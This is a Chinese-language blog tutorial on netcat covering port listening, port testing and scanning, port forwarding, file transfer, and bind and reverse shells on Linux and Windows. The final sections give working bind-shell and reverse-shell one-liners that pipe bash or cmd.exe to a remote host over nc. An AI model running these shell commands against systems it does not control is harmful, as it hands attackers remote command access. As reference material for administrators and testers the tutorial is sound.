nc 端口测试、端口扫描、端口转发、文件传输、正反向 Shell
nc Linux Windows About 2,528 words主要功能
- 端口监听
- 端口测试
- 端口扫描
- 端口转发
- 文件传输
- 正向
Shell
- 反向
Shell
Windows
下载地址一
该版本比较老了。
https://nmap.org/dist/ncat-portable-5.59BETA1.zip
下载地址二
360
等杀毒软件可能会异常,解除即可。
https://eternallybored.org/misc/netcat
Linux
查看nc
安装路径
readlink -f $(which nc)
端口监听
监听本地8080
,方便其他机器测试网络。
nc -l -p 8080
监听端输出,-v
是为了输出更多日志。
root@local:~# nc -v -l -p 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from localhost 52966 received!
测试端输出
root@local:~# nc -v localhost 9999
Connection to localhost 9999 port [tcp/*] succeeded!
UDP
测试
nc -u -l -p 9999
端口测试
nc -vz www.baidu.com 80
输出
root@local:~# nc -vz www.baidu.com 80
Connection to www.baidu.com 80 port [tcp/http] succeeded!
端口扫描
-w3
:超时时间为3
秒
nc -vz -w3 192.168.1.200 8080-8090
输出
root@local:~# nc -vz -w3 192.168.1.200 8080-8090
Connection to 192.168.1.200 8080 port [tcp/http-alt] succeeded!
Connection to 192.168.1.200 8081 port [tcp/tproxy] succeeded!
Connection to 192.168.1.200 8082 port [tcp/*] succeeded!
Connection to 192.168.1.200 8083 port [tcp/*] succeeded!
Connection to 192.168.1.200 8084 port [tcp/*] succeeded!
Connection to 192.168.1.200 8085 port [tcp/*] succeeded!
Connection to 192.168.1.200 8086 port [tcp/*] succeeded!
nc: connect to 192.168.1.200 port 8087 (tcp) failed: Connection refused
nc: connect to 192.168.1.200 port 8088 (tcp) failed: Connection refused
nc: connect to 192.168.1.200 port 8089 (tcp) failed: Connection refused
Connection to 192.168.1.200 8090 port [tcp/*] succeeded!
端口转发
监听本地端口9090
,将9090
端口的数据发送到192.168.1.200
机器的8080
,本地请求9090
端口等同于请求192.168.1.200
的8080
端口。
需要-c
参数。
nc -l -k -p 9090 -c "nc 192.168.1.200 8080"
不需要-c
参数。
cat /tmp/fifo | nc 192.168.1.200 8080 | nc -l -k 9090 > /tmp/fifo
文件传输
接收方
nc -l -p 8080 > test.txt
发送方
需要确认是否有-N
或-q
参数,不同版本nc
参数不同。
nc -N 192.168.1.200 8080 < test.txt
或者
nc -q0 192.168.1.200 8080 < test.txt
正向 Shell
Windows
开启Shell
监听。需要有-e
参数。
ncat.exe -l -p 8080 -e "cmd.exe"
Linux
登录到Windows
的CMD
。
nc 192.168.1.200 8080
如果没有-e
参数。
服务端监听
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8080 > /tmp/fifo
客户端连接
nc 192.168.2.200 8080
删除/tmp/fifo
管道
rm /tmp/fifo
反向 Shell
服务端:监听8080
,等待连接者的Shell
窗口。客户端使用命令连接上后,会获得客户端的Shell
窗口操作权限。
nc -l 8080
客户端:将Linux
的Shell
窗口操作权限传输给服务端。
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.200 8080 > /tmp/fifo
客户端:将Windows
的Shell
窗口操作权限传输给服务端。
ncat.exe -v 192.168.1.200 8080 -e "cmd.exe"
参考
Views: 3,359 · Posted: 2022-06-23
————        END        ————
Give me a Star, Thanks:)
https://github.com/fendoudebb/LiteNote扫描下方二维码关注公众号和小程序↓↓↓
Loading...